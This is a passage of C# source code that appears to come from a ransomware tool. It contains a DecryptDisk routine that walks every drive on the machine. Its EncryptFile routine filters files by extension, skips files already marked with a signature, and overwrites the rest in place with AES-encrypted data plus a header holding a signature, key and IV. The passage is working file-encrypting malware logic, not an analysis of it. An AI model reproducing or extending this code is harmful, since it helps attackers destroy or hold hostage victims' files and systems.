/// <summary> /// Main Decryption Method /// </summary> public void DecryptDisk() { #if DEBUG Trace.WriteLine("[*] DecryptDisk"); #endif // Enumerate All Device Disks DriveInfo[] drives = DriveInfo.GetDrives(); // Force Generate Aes Engine CriptoKeyManager.RotateAesKey(); #if DEBUG Trace.WriteLine("[+] Drives Enumerated Successfully. " + drives.Length + " Drives Found"); #endif // Iterate Drivers foreach (DriveInfo drive in drives) { DecryptDrive(drive); } }
private void EncryptFile(FileInfo file) { // Simple Thread Wait Thread.Sleep(10); #if DEBUG Trace.WriteLine(""); Trace.WriteLine("[*] EncryptFile (" + file.Name + ")"); Trace.Indent(); #endif // Check File in Filter if (Common.FileInFilter(file.Extension)) { // File Signature Decision Gate if (!Common.CheckSignature(file)) { // Encrypt #if DEBUG Trace.WriteLine("[+] File to Encrypt"); #endif // Try to Rotate Key CriptoKeyManager.RotateAesKey(); // Read File Data Byte[] fileData = null; FileManager.ReadFile(file, ref fileData); // Encrypt File using (FileStream fs = File.OpenWrite(file.FullName)) { fs.Position = 0; // Write Control Structure fs.Write(ConfigurationManager.FILE_SIGNATURE, 0, ConfigurationManager.FILE_SIGNATURE_SIZE); fs.Write(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length); fs.Write(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length); fs.Flush(); // Write Encrypted Data CriptoFileManager.Encrypt(fs, ref fileData); } } else { #if DEBUG Trace.WriteLine("[+] File Alread Encrypted"); #endif } } else { #if DEBUG Trace.WriteLine("[+] File Filter not Allowed"); #endif } #if DEBUG Trace.Unindent(); #endif }